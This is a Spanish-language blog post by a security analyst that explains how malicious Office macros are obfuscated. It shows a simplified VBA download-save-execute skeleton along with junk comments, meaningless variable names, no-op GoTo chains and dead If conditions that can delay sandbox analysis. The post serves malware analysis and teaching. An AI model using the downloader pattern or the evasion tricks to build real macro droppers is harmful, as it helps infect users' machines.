Cargando
SecurityInside.info
  • Sobre SecurityInside
  • GitHub
  • Click to open the search input field Click to open the search input field Buscar
  • Menú Menú
  • Link to X
  • Link to Rss this site
  • Link to Youtube
Ofuscación de malware en macros de MS Office

Ofuscación de malware en macros de MS Office

24 marzo, 2015/en Malware/por Ernesto Corral

La “última” moda en la distribución de malware viene en forma de documentos de MS Office con macros que llegan a tu bandeja de entrada. Si estas macros se llegan a ejecutar, intentaran descargar un ejecutable y lanzarlo para infectar el sistema. Para dificultar el trabajo de los analistas, los autores de estas macros ponen distintos obstáculos. En este post os voy a enseñar los sistemas de ofuscación y cifrado que me he encontrado en los últimos meses en este tipo de documentos. Sin más dilación, veamos como está la cosa en cuanto a ofuscación de malware en macros de MS Office.

Un poco de historia

Hace años, muchos años, se puso de moda infectar ordenadores usando macros en documentos de Office. MS reaccionó y puso una serie de sistemas de seguridad que hacían saltar un pop-up que el usuario tenía que aceptar para que se ejecutase una macro, así que los malos decidieron dejar de usar macros y explotar vulnerabilidades en Excel o en Word como método de infección.

Diez años después, se está volviendo a ver muchísima actividad maliciosa que utiliza macros para descargar una muestra de malware y ejecutarla, infectando así el sistema.

No sé la razón de esta vuelta a la viejas costumbres, hay varias teorías.

La primera teoría la leí hace poco y dice que es una forma de evitar detecciones por parte de los antivirus. Otra teoría dice que tiene que ver con los controles de seguridad que implementó MS a partir de Windows 7 (recordad, Windows XP ya no tiene soporte y no se usa en ninguna parte, guiño, guiño) . Ambas teorías son validas, pero yo añadiría otra más: es mucho más barato y simple escribir una macro que un exploit.

Ofuscación del código

Para que una macro embebida en documento de MS Office infecte un equipo, esta macro necesita realizar las siguientes acciones:

  1. Descargar la muestra de malware que va a infectar el equipo.
  2. Guardarla en el equipo.
  3. Ejecutarla.

Una forma de hacerlo en Visual Basic Script (vbs), el idioma que utilizan las macros de Office, es la siguiente:

Dim fd As Long
'Conexión a internet para descargar el fichero:
Set Connection = CreateObject("MSXML2.XMLHTTP")
Connection.Open "GET", "http://securityinside.info", False
Connection.Send "dfg"
response = Connection.responseBody

'Escribir fichero a disco:
fd = FreeFile
Open Filename For Binary As #fd
Put #fd, , response
Close #fd

'Ejecutar fichero:
Set object_Shell.Application = CreateObject(Shell.Application)
object_Shell.Application.Open "Filename"

Este tipo de ofuscación es muy simples de entender y de encontrar. Para hacer el trabajo de los analistas más difícil, los escritores de estas macros utilizan distintas técnicas de ofuscación. Una de las más comunes es meter código basura.

El código basura es un conjunto de líneas de código que no hace nada pero dificulta la comprensión de este por parte del analista de malware. Veamos algunos ejemplos.

Comentarios:

Comments everywhere

Algunos autores llenan las macros de comentarios, esto es bastante fácil de “limpiar” con una expresión regular, pero es bastante desagradable a la vista:

'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Loop
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
tVFRzNlM = RTrim(nzupGTAz)
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Dim QEfChJYE As Integer
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
For QEfChJYE = 0 To 9
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Dim bjOXblUV As Integer
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
bjOXblUV = 8
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Do While bjOXblUV < 34
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
DoEvents: bjOXblUV = bjOXblUV + 1
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
Loop
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè
'ÌÐÌí8ø8ï 3ï89ãøà ÌÃØÏ à3ùø4ðå-034ø0ðï ÌíøëóàâïðìøÏ*?ÅÏ(ÃÙìîëâïóöïöóì óìëîè ñÌÎËè

Estas líneas de código simplemente ocultan:

Loop
tVFRzNlM = RTrim(nzupGTAz)
Dim QEfChJYE As Integer
For QEfChJYE = 0 To 9
    Dim bjOXblUV As Integer
    bjOXblUV = 8
    Do While bjOXblUV < 34
        DoEvents: bjOXblUV = bjOXblUV + 1
    Loop

Esto nos lleva al siguiente método de ofuscación: los nombres raros.

En el trozo del código anterior, la variable QEfChJYE no es más que un contador, la típica “i” de for (i=0;…), pero hace más complicado de leer el código para el analista.

Es muy típico también meter código basura. El código basura es código que no hace nada o que simplemente está ahí pero que nunca se va a ejecutar.

Un ejemplo de código que no hace nada es el siguiente:

GoTo LTIokkjoZR
LTIokkjoZR:
GoTo ePgjmeCgKuqfzq
ePgjmeCgKuqfzq:
wNLiDcUQctHeQbyt = wNLiDcUQctHeQbyt & Mid(TRQIOVnNMdSVNmP, saOjZPeoQQJJ, 1)
GoTo nnaMoKQlSkVaAo
nnaMoKQlSkVaAo:
GoTo xuRnLR
xuRnLR:
GoTo drMOY
drMOY:

Todos los “GoTo” del código sobre estas líneas saltan a la siguiente línea de código, por lo tanto, lo único que están haciendo es meter ruido en el código.
La única línea que es útil en ese trozo de código es:

wNLiDcUQctHeQbyt = wNLiDcUQctHeQbyt & Mid(TRQIOVnNMdSVNmP, saOjZPeoQQJJ, 1)

Veamos un ejemplo de código que no se ejecuta:

If 739374 = 739374 + 1 Then End
If 4142 < 44 Then
MsgBox ("cribxFbA27")
End If
If Len("QRjyMbYs5892") = Len("YCGQDTMb") Then
MsgBox ("Error !!!")
End If
jvrNuctw = 4
Do While jvrNuctw < 47
If 782332 = 782332 + 1 Then End
If 1523 < 61 Then
MsgBox ("rJbiViWt51")
End If
If Len("mzagBJqf2364") = Len("XTRZihPM") Then
MsgBox ("Error !!!")
End If

Si nos paramos a analizar todos esas sentencias if, veremos que ninguna de ellas se va a cumplir nunca:

If 739374 = 739374 + 1 Then End

Un número nunca puede ser igual a ese número más uno.

If 4142 < 44 Then

4142 nunca es menor que 44.

If Len("QRjyMbYs5892") = Len("YCGQDTMb") Then

El tamaño de esas dos cadenas nunca será el mismo.
Con este truco, además de dificultar el análisis, pueden alargar el tiempo de ejecución de la macro que puede llegar a ser útil (p.ej.: algunas sandbox hacen time out antes de que se termine la ejecución de macro).
Por lo tanto, el código que hemos visto anteriormente no hace nada de nada.

En el próximo artículo mostraré como ofuscan y cifran las cadenas de caracteres los escritores de malware en este tipo de documentos. ¿Conoces algún otro método que estén utilizando en este tipo de documentos? Déjanos un comentario con el 🙂

  • Acerca de
  • Últimas entradas
Ernesto Corral
Ernesto Corral
Profesional de la seguridad de perfil técnico. Principalmente interesado en respuesta ante incidentes, malware e ingeniería inversa.
Me encanta participar en CTFs y últimamente estoy cacharreando con temas de hardware.

Ver descripción | Ver perfil en LinkedIn
Ernesto Corral
Últimas entradas de Ernesto Corral (ver todo)
  • Introducción a Frida - 1 junio, 2016
  • De Charleta: “Android Application Function Hooking with Xposed” (Jamie Geiger) - 23 mayo, 2016
  • De Charleta: “Introducing the RITA VM: Hunting for bad guys on your network for free with math” (John Strand, Derek Banks, Joff Thyer, and Brian Furhman) - 9 mayo, 2016

¿Nos ayudas a compartir?

  • Compartir en X (Se abre en una ventana nueva) X
  • Compartir en LinkedIn (Se abre en una ventana nueva) LinkedIn
  • Comparte en Facebook (Se abre en una ventana nueva) Facebook
  • Haz clic en Pinterest (Se abre en una ventana nueva) Pinterest
  • Compartir en Reddit (Se abre en una ventana nueva) Reddit
  • Enviar un enlace a un amigo por correo electrónico (Se abre en una ventana nueva) Correo electrónico

Relacionado

Etiquetas: Dridex, Excel, Ficheros OLE, Macros, Malware, Word
Compartir esta entrada
  • Compartir en WhatsApp
https://www.securityinside.info/wp-content/uploads/011.png 321 845 Ernesto Corral https://securityinside.info/wp-content/uploads/logo.png Ernesto Corral2015-03-24 06:10:132024-11-06 12:22:17Ofuscación de malware en macros de MS Office
Quizás te interese
de-charleta De Charleta: «Writing Bad @$$ Malware For OS X» (Patrick Wardle)
Amenaza Silenciosa III – Hooking (Teoría)
Amenaza Silenciosa II – Inyección de DLL
de-charleta De Charleta: “License to Kill: Malware Hunting with the Sysinternals Tools” (Mark Russinovich)
La webcam no deja de mirarme… ¿la tapo?
IDGSecurity SecurityInside Live: IDGSecurity 2018
SecurityInside Live: CyberCamp 2017
de-charleta De Charleta: «A Year in the Backdoor Factory» (Joshua Pitts)

Categorías

  • Anonimato (18)
  • Auditoría (30)
  • Charlas y ponencias (68)
  • Cloud Security (9)
  • Control de acceso (29)
  • Desarrollo (32)
  • Dispositivos (19)
  • Eventos (25)
  • Exploiting (6)
  • Forense (6)
  • Formación (39)
  • Gobierno IT (36)
  • Hacking (20)
  • Herramientas (26)
  • I+D (13)
  • Ingeniería inversa (6)
  • ISO 27001 (10)
  • Live (20)
  • Malware (22)
  • Noticias (54)
  • Pentesting (12)
  • Privacidad (39)
  • Sin categoría (1)
  • Vulnerabilidades (24)

Archivo

  • mayo 2026
  • abril 2025
  • septiembre 2024
  • junio 2024
  • abril 2024
  • marzo 2024
  • enero 2021
  • septiembre 2020
  • abril 2020
  • febrero 2020
  • enero 2020
  • octubre 2019
  • septiembre 2019
  • julio 2019
  • junio 2019
  • mayo 2019
  • abril 2019
  • febrero 2019
  • enero 2019
  • octubre 2018
  • agosto 2018
  • mayo 2018
  • abril 2018
  • marzo 2018
  • febrero 2018
  • diciembre 2017
  • noviembre 2017
  • octubre 2017
  • septiembre 2017
  • julio 2017
  • junio 2017
  • mayo 2017
  • abril 2017
  • marzo 2017
  • febrero 2017
  • enero 2017
  • diciembre 2016
  • noviembre 2016
  • octubre 2016
  • septiembre 2016
  • julio 2016
  • junio 2016
  • mayo 2016
  • abril 2016
  • marzo 2016
  • febrero 2016
  • enero 2016
  • diciembre 2015
  • noviembre 2015
  • octubre 2015
  • septiembre 2015
  • agosto 2015
  • julio 2015
  • junio 2015
  • mayo 2015
  • abril 2015
  • marzo 2015
[2015 - 2024] - SecurityInside.info - Segura gracias a Defender Eye
  • Link to X
  • Link to Rss this site
  • Link to Youtube
Link to: Información privada en apps… ¿es posible? Link to: Información privada en apps… ¿es posible? Información privada en apps… ¿es posible?informacion-privada-apps Link to: HSTS, una defensa contra MITM y sslstrip Link to: HSTS, una defensa contra MITM y sslstrip HSTS, una defensa contra MITM y sslstrip
Desplazarse hacia arriba Desplazarse hacia arriba Desplazarse hacia arriba